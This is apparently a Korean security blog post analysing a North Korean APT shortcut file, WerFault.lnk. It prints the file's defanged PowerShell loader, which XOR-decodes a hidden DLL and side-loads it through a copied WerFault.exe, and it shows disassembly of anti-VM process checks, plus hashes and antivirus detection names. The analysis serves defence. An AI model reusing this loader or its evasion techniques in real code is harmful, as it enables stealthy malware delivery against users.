북한 해킹 단체 라자루스(Lazarus) 추측이 되는 악성코드-WerFault.lnk(2024.8.19)

일단 북한 해킹 단체 라자루스(Lazarus) 추측이 되는 악성코드이며 해당 악성코드는 김수키 인지 라자루스 인지 Konni,라자루스(Lazarus)인지 모르겠지만, 아무튼 위쪽 북한에서 만든 APT입니다.
먼저 해당 악성코드 해쉬값은 다음과 같습니다.
파일명:WerFault.lnk
사이즈:274 KB
MD5:e0c3282206b5533bb3272741212cb6e1
SHA-1:164107e62657aed8fe29d026f8a78fdba90e64c6
SHA-256:ac7772803e0f65522f43357cb31b0b032eebdaff35b1a5c1666a9d8b1a36784f
일단은 악성코드 안에는 WerFault 이라는 것이 포함돼 있습니다. WerFault.exe는 Windows 오류 보고 시스템의 일부입니다. 즉 정상적인 파일인데 악성코드 안의 내용은 다음과 같습니다.

악성코드에 포함된 파워셀 코드

/c copy %windir%\system32\WerFault(.)exe %tmp%\WerFault(.)exe && powershell
-windowstyle hidden $0dda91a2(1)b6f6536715eb83f21c75451 = G''et-Chil''dItem *(.)lnk 
^| where-object {$_.le(n)gth -eq 0x(0)00449C8} ^| S''ele(c)t-Objec''t -Expand(P)roper
ty Name; $bdf6730d5c(5)2821e237a7ceb47d8838d = gc $0dda91(a)21b6f6536715eb83f21c75451 -
Encoding Byte; for($i=0; $i -lt $bdf6730(d)5c52821e237a7ceb47d8838d(.)count; $i++) { $bd
f6730d5c52821e2(3)7a7ceb47d8838d[$i] = $bdf673(0)d5c52821e237a7ceb47d8838d[$i] -bxor 0x71
}; $e248d8a354f7be2(6)afe13b86a3325e35 = '%temp%\faultrep(.)dll'; sc $e248d8a354f7(b)e26af
e13b86a3325e35 ([byte[]]($bdf6730(d)5c52821e237a7ceb47d8838d ^| select -Skip 012858)) -Enc
oding Byte; ^& %temp%\WerFault(.)exe;
 iconlocation: C:\Program Files (x86)\Microsoft\Edge\Application\msedge(.)exe
}

악성코드 분석

1. 악성코드 명령어
/c copy %windir%\system32\WerFault(.)exe %tmp%\WerFault(.)exe:해당 명령은 WerFault(.)exe 파일을 C: \Windows\System32 폴더에서 %temp% 디렉터리(임시 폴더)로 복사 WerFault.exe 는 윈도우 오류 보고 도구(Windows Error Reporting tool)
powershell -windowstyl(e) hidden:PowerShell 스크립트를 실행하며 창을 숨김 모드로 실행 사용자는 해당 악성코드 실행이 되는 것을 모름
2. PowerShell 스크립트 
$0dda91a21b6f(6)536715eb83f21c75451 = Get-ChildItem *(.)lnk | where-object {$_.length -eq 0x000449C8} | Select-Object -ExpandProperty Name:
해당 부분에서는 현재 디렉터리에 있는 .lnk 파일(바로 가기 파일) 중 파일 크기가 0x000449C8 (278,472바이트)인 파일을 찾으며 파일의 이름을 변수 $0dda91a21b6f6536715eb83f21c75451에 저장
$bdf6730d5c52821e237a7ceb47d8838d = gc $0dda91a21b6f6536715eb83f21c75451 -Encoding Byte:
해당 명령어는 앞에서 찾은 (.)lnk 파일을 바이너리 형식으로 읽어들이고 $bdf6730d5c52821e2(3)7a7ceb47d8838d 변수에 저장
for($i=0; $i -lt $bdf6730d5c52821e237a7ceb47d(8)838d.count; $i++) { $b(d)f6730d5c52821e237a7ceb47d8838d[$i] = $bdf6730d5c52821e23(7)a7ceb47d8838d[$i] -bxor 0x71 }:
해당 루프는 파일의 각 바이트를 XOR 연산(^)을 통해 0(x)71 과 연산하여 바이트 데이터를 복호화하거나 변조
$e248d8a3(5)4f7be26afe(1)3b86a3325e35 = '%temp%\faultrep(.)dll';
복호화된 데이터를 저장할 위치를 %temp%\faultrep(.)dll로 설정
sc $e248d8a354f7be(2)6afe13b86a3325e35 ([byte[]]($bdf6730(d)5c52821e237a7ceb47d8838d | select -Skip 0(1)2858)) -Encoding Byte;:
복호화된 데이터를 faultrep(.)dll 이라는 파일로 저장 여기서 데이터를 저장할 때 앞의 012858 바이트를 건너뛰고 나머지를 저장 이로 말미암아 파일 구조가 변조
& %temp%\WerFault.exe;:
%temp% 디렉터리에 복사한 WerFault.exe를 실행하고 다른 동작을 함
결론:
1.lnk 파일을 통해 바이너리 데이터를 숨긴 후 해당 데이터를 XOR 연산을 통해 복호화
2. 복호화된 데이터는 DLL 파일로 저장 해당 DLL 파일은 악성 코드를 포함
3. 원래의 WerFault.exe를 실행해 시스템의 정상적인 프로세스를 위장하여 악성 DLL을 로드
그리고 해당 악성코드인 faultrep(.)dll 에서는 다음과 같은 코드 가 있는 것을 볼 수가 있습니다.

faultrep.dll 악성코드 에 숨겨진 가상화 프로그램 방해

rax, [0x1800059C5]    ; "vboxtray.exe"
lea    rdx, [0x1800059B5]    ; "vboxservice.exe"
movq   xmm1, rax
movq   xmm0, rdx
lea    rax, [0x1800059DD]    ; "vmusrvc.exe"
punpcklqdq xmm0, xmm1
lea    rdx, [0x1800059D2]    ; "vmsrvc.exe"
movq   xmm2, rax
mov    rbp, rsp
push   rsi
lea    rax, [0x1800059F6]    ; "vmacthlp.exe"
lea    rsi, [0x180005A21]    ; "vmware.exe"
push   rbx
 movq   xmm3, rax
lea    rax, [0x180005A12]    ; "vmwareuser.exe"
movq   xmm4, rax
lea    rax, [0x180005A2C]    ; "vmount2.exe"
movq   xmm5, rax
lea    rax, [0x180005A47]    ; "xsvc_depriv.exe"
and    rsp, 0xFFFFFFFFFFFFFFF0
 movq   xmm1, rax
add    rsp, -0x80
movaps xmmword ptr [rsp + 0x20], xmm0
movq   xmm0, rdx
lea    rbx, [rsp + 0x20]
lea    rdx, [0x1800059E9]    ; "vmtoolsd.exe"
punpcklqdq xmm0, xmm2
movaps xmmword ptr [rsp + 0x30], xmm0
movq   xmm0, rdx
lea    rdx, [0x180005A03]    ; "vmwaretray.exe"
punpcklqdq xmm0, xmm3
movaps xmmword ptr [rsp + 0x40], xmm0
movq   xmm0, rdx
lea    rdx, [0x180005A38]    ; "xenservice.exe"

해당 코드 결론은 간단합니다.
코드의 목적은 가상화 환경에서 해당 악성코드를 실행했는지 안 했는지 확인을 하고 가상화 환경에서 실행하고 있다고 하면 다음과 같습니다.
주어진 목록에 포함된 가상화 환경 프로그램들은 다음과 같습니다:
1.VirtualBox 관련 프로그램:
vboxservice.exe:VirtualBox의 서비스 관련 프로그램
vboxtray.exe:VirtualBox의 트레이 아이콘 프로그램
2.VMware 관련 프로그램:
vmsrvc.exe:VMware의 서비스 관련 프로그램
vmusrvc.exe:VMware의 사용자 관련 서비스 프로그램
vmtoolsd.exe:VMware Tools 데몬, VMware 게스트 OS에 설치되는 도구
vmacthlp.exe:VMware 관련 프로그램 보통 VMware Tools
vmwaretray.exe:VMware 트레이 아이콘 프로그램
vmwareuser.exe:VMware의 사용자 관련 프로그램
vmware.exe: VMware의 주요 실행 파일
vmount2.exe:VMware 관련 디스크 마운트 프로그램
3.Xen 관련 프로그램:
xenservice.exe: Xen 가상화 플랫폼의 서비스 관련 프로그램
xsvc_depriv.exe:Xen 관련 서비스 Xen 가상화 플랫폼의 일부
한마디로 가상환경에서 분석을 당하는 것을 방지하기 위해서 존재하는 것입니다.
해당 악성코드 해쉬값
파일명:faultrep.dll
사이즈:261 KB
MD5:e4b8e64ba6493120c7728bddc844e628
SHA-1:5162e8b479835c2aff439bf5a0c5e70329d517f3
SHA-256:0b1d881b010b2230a5ba9e5d9a0f0d31e00ccd6ebedd2568e002e6d35d9967ef
이며 2024-08-24 19:53:56 UTC 기준 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Trojan/Win.Agent.C5659173
Alibaba:Trojan:Win32/Kryptik.b665f52e
AliCloud:Trojan:Win/Ulise.Gen
ALYac:Gen:Variant.Ulise.492573
Antiy-AVL:Trojan/Win32.Kryptik
Arcabit:Trojan.Ulise.D7841D
Avast:Win64:Evo-gen [Trj]
AVG:Win64:Evo-gen [Trj]
Avira (no cloud):TR/Kryptik.mxlyd
BitDefender:Gen:Variant.Ulise.492573
Bkav Pro:W64.AIDetectMalware
CrowdStrike Falcon:Win/malicious_confidence_70% (W)
Cylance:Unsafe
Cynet:Malicious (score: 100)
DeepInstinct:MALICIOUS
DrWeb:Trojan.Siggen29.22028
Elastic:Malicious (high Confidence)
Emsisoft:Gen:Variant.Ulise.492573 (B)
eScan:Gen:Variant.Ulise.492573
ESET-NOD32:A Variant Of Win32/Kryptik_AGen.DXH
Fortinet:W32/Kryptik_AGen.DXH!tr
GData:Gen:Variant.Ulise.492573
Google:Detected
Gridinsoft (no cloud):Trojan.Win64.Kryptik.sa
Ikarus:Trojan.Win32.Crypt
K7AntiVirus:Trojan ( 005b56d51 )
K7GW:Trojan ( 005b56d51 )
Kaspersky:UDS:DangerousObject.Multi.Generic
Lionic:Trojan.Win32.Generic.4!c
Malwarebytes:Trojan.Crypt.Generic
MAX:Malware (ai Score=84)
McAfee Scanner:Ti!0B1D881B010B
Microsoft:Trojan:Win32/Wacatac.B!ml
NANO-Antivirus:Trojan.Win64.Kryptik.krcnid
Palo Alto Networks:Generic.ml
Rising:Trojan.AntiVM!1.CC71 (CLASSIC)
Sangfor Engine Zero:Trojan.Win32.Ulise.V5xt
SecureAge:Malicious
Sophos:Mal/Generic-S
Symantec:ML.Attribute.HighConfidence
Tencent:Win32.Trojan.Kryptik.Adhl
Trellix (ENS):Artemis!E4B8E64BA649
Trellix (HX):Gen:Variant.Ulise.492573
TrendMicro:Mal_Rozena
TrendMicro-HouseCall:Mal_Rozena
Varist:W64/ABTrojan.JIZM-4147
VIPRE:Gen:Variant.Ulise.492573
ViRobot:Trojan.Win.Z.Ulise.268174
WithSecure:Trojan.TR/Kryptik.mxlyd
ZoneAlarm by Check Point:UDS:DangerousObject.Multi.Generic
정확한 북한 공격 단체는 알 수가 없지만, 북한에서 만든 APT 그룹 중 하나이며 가상환경에서 악성코드 분석을 방해하는 코드를 숨겨 놓았습니다. 아무튼, 조심을 하고 안랩은 최종 DLL 파일을 탐지하고 있으며 WerFault(.)exe을 인척 하는 악성코드입니다.